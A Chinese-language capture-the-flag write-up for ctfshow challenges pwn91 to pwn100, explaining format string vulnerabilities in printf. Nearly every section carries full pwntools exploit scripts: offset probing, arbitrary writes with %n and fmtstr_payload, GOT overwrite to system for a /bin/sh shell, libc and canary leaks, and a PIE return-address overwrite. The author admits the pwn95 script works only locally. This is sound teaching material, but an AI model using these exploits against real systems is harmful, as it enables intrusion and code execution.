pwn91

保护:

是一个32位的,开了栈金丝雀,这意味着传统的简单栈溢出无用了

打开main函数,发现程序逻辑很简单,就是要我们让daniu变成6就好了

进入ctfshow()函数看看如何令daniu变成6
在这里我们就看见了格式化字符串的漏洞,楼哦对那个正在这两句话
1 2
| read(0, s, 0x50u); printf(s);
|
系统会输出用户可控输入s,这意味着我们可以在这个s里边放一些%x%p%s%n之类的格式化占位符,实现信息泄露或者任意地址写
正常来说,printf肯定是这样子用的
1 2 3
| printf("%d", x); printf("hello"); printf("%x %x", a, b);
|
也就是说,printf第一个参数是格式模板,之后才是要打印的数据
但这边是printf(s)
这意味着如果我输入多个%x这种格式符,printf会认为“噢这格式串里边有3个%x啊,那我要传3个整数参数才行”
但是代码里没有这仨参数啊
所以printf只能直接去栈上直接拿,但拿的是第几个呢?不知道
所以在实现这一个目标前,最重要的就是去确认我的输出到底在printf参数列表的第几个位置
我们可以在这里输入AAAA.%p%p%p%p%p%p%p%p。。。。。
观察第几个0x输出里边出现了41414141,即可说明我们的AAAA作为了第几个参数位被读到了

数一下就能发现在第七个参数位置,我们可以用AAAA.%7$x来进行确认

发现确实是没问题
1 2 3 4 5
| for i in range(1, 20): payload = f"AAAA%{i}$p" if "41414141" in send_payload(payload): print(f"Found offset at {i}") break
|
https://blog.csdn.net/weixin_29322553/article/details/159134239
当然,如果懒得写那么多%x%p,我们也可以直接用脚本来嗅探出是第几个
知道偏移之后,我们就可以泄露任意地址了
只要我们知道某个地址,我们就可以直接把地址扔到输出里
1 2 3
| %7$x:把第 7 个参数按整数打印 %7$s:把第 7 个参数当作“字符串地址”去读 %7$n:把第 7 个参数当作“写入目标地址”
|
比如我们想读一个整数地址附近的内容,我们就可以用p32(0x0804a02c) +b”AAAA%7$x”,内存大概如下:
1
| [2c a0 04 08][41 41 41 41][25 37 24 78]
|
之后就会从这个地址读东西了
如果是$s,就会直接把这个地址作为指针,从这边开始一直读到\x00
但很明确我们这边不要读啊,我们要的是改daniu的数值
这边用到的就是%n了
它不会打印内容,而是直接把已输出的字符数写入参数指向的地址

daniu地址很好定位
我们要写入一共是6个数,所以是payload = p32(0x0804b038) + b”%2c%7$hhn”
1 2 3
| %n:将当前已输出的字符数写入到指定参数所指向的地址。默认情况下,写入的是一个 int类型的大小,通常是 4 字节(在 32 位系统中)。 %hn:将当前已输出的字符数写入,但只写入 2 字节(half word)。 %hhn:将当前已输出的字符数写入,但只写入 1 字节(half half word,即一个字节)
|
因为前边的p32()这四个字节本身已经被printf输出计数计算了,所以我们再打印俩就是6了
当然也可以直接用pwntools帮我们完成payload = fmtstr_payload(7,{daniu:6})
直接写脚本吧,倒也没有很难
1 2 3 4 5 6 7 8
| from pwn import * context(arch='i386',os='linux',log_level='debug') io = remote("pwn.challenge.ctf.show",28234)
daniu = 0x0804b038 payload = p32(daniu) + b"%2c%7$hhn" io.sendline(payload) io.interactive()
|


成功获取ctfshow{238e63c7-01d1-45e0-ab3c-5c32373f432d}
pwn92

原来还有更基础的吗
保护:

打开看看main函数,这边写了有例子



不亏是教学关,还有example

看看获得flag的函数,这边会直接读出format,也就是我输入的字符串,我输入%s的话会直接让s被读出,也就是这个/ctfshow_flag

直接就读出来了
ctfshow{571dcb15-9bb0-462f-bd48-21e25d1b1648}
pwn93

基础原理好啊
保护:

这些题确实是都只能用格式化字符串做

这菜单写挺好啊,程序崩溃、栈数据泄露、任意地址内存泄露、栈数据覆盖和任意地址内存覆盖,为我们都演示了一圈

而获取flag的值在case7


同样是直接获取的,没什么好说的,只是一个演示题
ctfshow{72324a2f-4ea6-48cb-8deb-caa49943a709}
pwn94

保护:

没怎么开保护啊,ida看看吧

可以看到这边直接就是在循环调用printf(buf),buf还是我们可以输入的
先确认一下参数位置

第六个参数就是了AAAA.%6$x

那接下来我们只需要用fmtstr_payload来将printf的got表改为system的plt即可,那么后续我们调用printf的时候其实调用的是system
再输入进参数,也就是/bin/sh即可得到shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from pwn import * context(arch='i386',os='linux',log_level='debug') io = remote("pwn.challenge.ctf.show",28178) elf = ELF('./pwn94')
system_plt = 0x8048400 printf_got = elf.got['printf']
payload = fmtstr_payload(6,{printf_got:system_plt}) io.sendline(payload) io.recv() io.sendline("/bin/sh\x00")
io.interactive()
|

pwn95

保护:

依旧32位,说是稍微难了一点,我们来看看

main函数之后就是这个,明显比上一题多了这样子一条
输出会被刷新,不会留在缓冲区
其实不影响我们的格式化字符串的漏洞,但是这一题明显没了system函数,我们还得ret2libc搞一个来
所以这题跟上一题比就是读了一个泄露真实地址,获取libc_base,然后得到system函数的过程
而这个真实地址可以直接用格式化字符串漏洞来获取
我们试一下是不是参数仍然在第六位

没问题,参数还在第六位
那我们直接先写一个真实地址泄露好了
1 2 3 4 5 6
| printf_got = elf['printf'] payload1 = p32(printf_got)+b'%6$s' io.sendline(payload1) printf_addr = u32(io.recvuntil('\xf7')[-4:]) libc = LibcSearcher('printf',printf_addr) libc_base = printf_addr - libc.dump('printf')
|
如此甚好,我们直接写exp即可,除了这一部分和上一题也差不多了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import * from LibcSearcher import * context(arch='i386',os='linux',log_level='debug') io = remote("pwn.challenge.ctf.show",28250) elf = ELF('./pwn95')
printf_got = elf.got['printf'] payload1 = p32(printf_got)+b'%6$s' io.sendline(payload1) printf_addr = u32(io.recvuntil('\xf7')[-4:]) libc = LibcSearcher('printf',printf_addr) libc_base = printf_addr - libc.dump('printf') system_addr = libc_base + libc.dump('system')
payload2 = fmtstr_payload(6,{printf_got:system_addr}) io.sendline(payload2) io.recv() io.sendline("/bin/sh\x00")
io.interactive()
|
远程跑不出,但是本地能通,有点太诡异了,我没辙了,我看了很多线上别人的脚本都跑不通,真的是奇了怪了
网上也搜到有人用的是libc6_2.31-0ubuntu9.8_i386.so本地,但是用这个libc也跑不通远程
pwn96

保护:


pwn95做累了,看看pwn96吧
这边自己就打开了这个flag,然后自欺欺人写了个不存在,但偷偷藏到v3了,而下边是一个明显的格式化字符串漏洞
因此我们利用格式化字符串直接去读v3这一块就好了
由于程序已经把这个flag读到了一个局部缓冲区,而我们直接%p会往栈上取参数,这flag又正好在栈上躺着,所以我们这一题直接用一堆%p去上边读值就好了
1
| %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
|

注意内存里数据是小端序存储,我们得转化一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import *
nums = [ 0x73667463, 0x7b776f68, 0x65326436, 0x65333431, 0x6530652d, 0x66342d33, 0x382d3661, 0x2d336632, 0x37333662, 0x31326262, 0x32333839, 0xa7d ]
for x in nums: print(p32(x).decode(), end='')
|

ctfshow{6d2e143e-e0e3-4fa6-82f3-b637bb219832}
pwn97

保护:

这边开了栈金丝雀,没法用栈溢出了,题目说覆写某个值满足某条件好像就可以了,或许是利用格式化字符串漏洞直接覆写之后就可以获得flag了?那不是和daniu一样吗

main函数明显的格式化字符串漏洞
这边会直接先判断输入里是否包含shutdown,我们如果有这个就直接exit了,所以不要有这个
之后如果输入里不包含cat /ctfshow_flag,才能调用格式化字符串
所以合着咱什么都不写就调用格式化字符串漏洞了
最后会get_flag()函数,打开看看


里边会check一下,只要过了就能进去flag()函数,这边很眼熟啊,pwn93那个,直接获取flag了
前边没什么难的,唯一重要的就是这个check必须绕过去
利用前边的那个格式化字符串改一下这个就好了,要让check变成非0值
位置在这边

那脚本很简单了,先测一下参数位置

在第十一

1 2 3 4 5 6 7 8 9
| from pwn import * context(arch='i386',os='linux',log_level='debug') io = remote("pwn.challenge.ctf.show",28178)
check_addr = 0x804B040 payload = fmtstr_payload(11,{check_addr:1})
io.sendline(payload) io.interactive()
|

成功获取flag
ctfshow{d589fba6-f063-43a3-b7bb-76ffd4e78eee}
pwn98

保护:

确实开了栈金丝雀
但是直接对着撞似乎不太合适,我们还是直接想办法绕过一下

可以看到这边有俩gets函数,按照想法,我认为是第一个拿来触发了格式化字符串漏洞,希望我们运用这个漏洞来绕过Canary,然后再在下一个gets函数处成功运用栈溢出


backdoor = 0x80486CE
还有这样子一个函数,我们只需要绕过Canary就能跳到这个地址然后直接得到shell了
所以目前唯一的问题就在于如何绕过Canary
先确认参数偏移位置
1
| AAAA.%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
|

参数在第五位

发现因为0x34+4就直接栈溢出了,所以我们做不到直接这样子泄露得到Canary的位置
我们应该一个个找,找尾字节为00的Canary位置
1 2 3 4 5
| %1$p %2$p %3$p ... %20$p
|

最后确认为第15位(嫌烦可以写脚本来测
1 2
| for i in range(1, 30): payload = f"%{i}$08x".encode()
|
再看原来的逻辑

可以看到题目是在检测最后的canary和原来的是否一致,以保证栈未溢出,因为一溢出canary就会被修改,因此没改就是没溢出,而如今我们只需要输入%15$p就能得到这一次的canary
缓冲区填充+正确的金丝雀+占掉旧ebp的位置+真正的返回地址
s到栈顶是0x34我们知道了
只差canary到旧ebp的位置了

所以距离ebp是0xC
所以目标很明确了,写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import * context(arch='i386',os='linux',log_level='debug') io = remote("pwn.challenge.ctf.show",28217) backdoor = 0x80486CE
io.recv() io.sendline(b'%15$p') canary=int(io.recv(),16)
payload = b'A' * (0x34-0xC) payload += p32(canary) payload += b'B' * 0xC payload += p32(backdoor)
io.sendline(payload) io.interactive()
|

得到flag
pwn99

盲打又来了。

既然是这一章,自然会想一想是不是有格式化字符串,果然直接就可以看到了,看起来是六十四位的

确实是六十四位,在第六个参数
盲打,我怀疑是直接在栈上了,我们写一个脚本来把栈上的内容全部打出来看看,注意64位小端序
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import *
context(os='linux', arch='amd64', log_level='error')
HOST = 'pwn.challenge.ctf.show' PORT = 28177
def hex_to_le_ascii(hex_str): if not hex_str.startswith('0x'): return ''
try: val = int(hex_str, 16) raw = p64(val) # 64位小端 vis = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in raw) return vis except: return ''
for i in range(1, 101): try: io = remote(HOST, PORT) io.recv(timeout=0.5)
payload = f'%{i}$p'.encode() io.sendline(payload)
data = io.recvall(timeout=1).decode(errors='ignore').strip() io.close()
line = data.splitlines()[-2] if 'お前も舞うか?' in data and len(data.splitlines()) >= 2 else data.splitlines()[-1] line = line.strip()
if line.startswith('0x'): ascii_part = hex_to_le_ascii(line) print(f'[{i:03d}] {line:<18} -> {ascii_part}') else: print(f'[{i:03d}] {line}')
except Exception as e: print(f'[{i:03d}] ERROR: {e}')
|

果然成功得到flag
ctfshow{W0w_y0u_c@n_r3@11y_d@nce!}
pwn100

保护:

100就是不一样啊,开了那么多保护啊,开了pie怪麻烦的
概述全局
先看看main函数吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { int v3; // [rsp+Ch] [rbp-14h] BYREF int v4; // [rsp+10h] [rbp-10h] BYREF unsigned int v5; // [rsp+14h] [rbp-Ch] unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u); initial(argc, argv, envp); whattime(); v3 = 0; v4 = 0; while ( 1 ) { while ( 1 ) { while ( 1 ) { menu(); v5 = get_int(); if ( v5 != 2 ) break; fmt_attack(&v3); } if ( v5 > 2 ) break; if ( v5 == 1 ) leak(&v4); } if ( v5 == 3 ) get_flag(); if ( v5 == 4 ) { puts("Bye!"); exit(0); } } }
|
发现很复杂,不要急我们一个个看
首先我们肯定是需要这个get_flag来得到flag

而这个函数只对s2有要求,它要求我们输入64字节数据到s2,要求这个s2必须和secret的前64字节完全相同,这样子才能得到flag
其实有想法是利用strncmp的特性\x00绕过,但是这边有一个close(1),用不了
那在这之前呢?就是在main函数走到get_flag

我们需要先从这俩while里边出来,然后再让v5==3
好继续逆向,我们一个个函数来看

上来一个whattime,没啥意义,没有漏洞点
继续往下,发现定义了两个变量v3v4,拿来当参数传进后边的函数的,稍微留心一下
接下来是menu()

完全没漏洞,继续往下看
这个比较重要,因为这个可以决定我们的v5,其实也就是真正的菜单

发现这个v5是用read读的,还要atoi,也就是转化为整数,我们只需要输入2就能继续往下

接下来是这个fmt_attack函数,名字直接明说了这就是一个格式化字符串漏洞
但是可以发现,由于传进来的参数开始是0,调用之后这个v3就变成1了,这边强制我们只能用一次这个函数,但这是我们这一题的核心

fmt走完之后v5是2,会再走一次get_int
我们这个时候让v5为1就能进入leak函数

可以看到整个leak和函数有一个write函数
但是只允许我们读我们输入的这个地址的一个字节,只能读不能写,而且这玩意和fmt一样只能用一次,看上去有点废
用完之后继续让我们定一次v5,这次定成3就能进入get_flag了
到这边我们已经明白了函数的调用流程,明白了有多少可以利用的漏洞
我们距离成功只差一个利用漏洞使得s2和secret一样了,但是这很难,因为我们还需要对抗pie
对此似乎一次leak和一次fmt显得有点不够用了,我们再细致地检验一下
多次调用fmt
为了做到这些事情,我们必须多次调用格式化字符串漏洞,因此我们继续思考

不难想到,为什么我们不能在每次调用printf的时候先改一下*a1,也就是v3的大小呢?这样子等于我们无损用了一次fmt,每次都这样子搞不就无限用了吗
重点在于这个是第几个参数,我们动调一下
直接gdb,run,然后选2进入fmt环节
输入下边的
1
| %1$p %2$p %3$p %4$p %5$p %6$p %7$p %8$p
|

可以看到输出了8个地址,我们看看哪一个是v3的地址即可

在main函数可以看到v3是rbp-14h

我们看一下栈,发现了限制rbp是0x7fffffffdd60
所以也就是说v3应该是0x7fffffffdd60-0x14 = 0x7fffffffdd4c
也就是上边图片里的第七个参数
所以我们这边只要在payload前边先写个b’%7$n’就能直接写入0
终于能无限次调用fmt了
接下来我们只需要泄露一次PIE基址,再泄露一次栈上目标返回地址槽的地址,好让其直接跳到成功分支就好了
获取PIE基址
我们知道开了PIE之后会每次运行随机在一个地址,虽然每次运行随机,但是同一次里是一样的
不过我只需要泄露一个真实地址就能反推了其实

因为我们知道,call的返回地址是下一条指令
所以偏移是0x102C
我们只需要知道这个时候的运行地址就能得到elf_base了

在尝试后发现17的位置最像是pie下的运行地址
所以elf_base = %17$p - 0x102C
获取栈上目标返回地址
于此同时还试出来了16的位置与目标返回地址槽有稳定关系
必须分析一下栈的结构了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| 高地址 ──────────────────────────────────────────── [F+0x08] fmt_attack saved RIP ← 目标返回地址槽 内容 = main+0x76 = elf_base+0x102c
[F+0x00] fmt_attack saved RBP 内容 = main 的 rbp
[F-0x08] canary
[F-0x10] 可能的对齐/临时区域 [F-0x18] 可能的对齐/临时区域 [F-0x20] 可能的对齐/临时区域 [F-0x28] 某个栈上的参考位置 [F-0x30] ... [F-0x40] buf 开始附近 ... ──────────────────────────────────────────── 低地址
|
发现了ret_addr应该是%16$p-0x28
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| from pwn import * context(arch='amd64',os='linux',log_level='debug') elf = ELF('./pwn100') io = remote('pwn.challenge.ctf.show', 28295)
def fmt(io, s: bytes): io.sendlineafter(b'>>', b'2') io.sendline(s)
def parse_after(io, delim: bytes) -> int: io.recvuntil(delim) return int(io.recvline().strip(), 16)
io.sendlineafter(b'What time is it :', b'1 1 1')
fmt(io, b'%7$n!%17$p') code_ref = parse_after(io, b'!') pie = code_ref - 0x102c target = pie + 0xf56
fmt(io, b'%7$n|%16$p') stack_ref = parse_after(io, b'|') ret_slot = stack_ref - 0x28
want = target & 0xffff payload = f'%{want}c%10$hn'.encode().ljust(0x10, b'B') + p64(ret_slot) fmt(io, payload)
io.interactive()
|

得到flag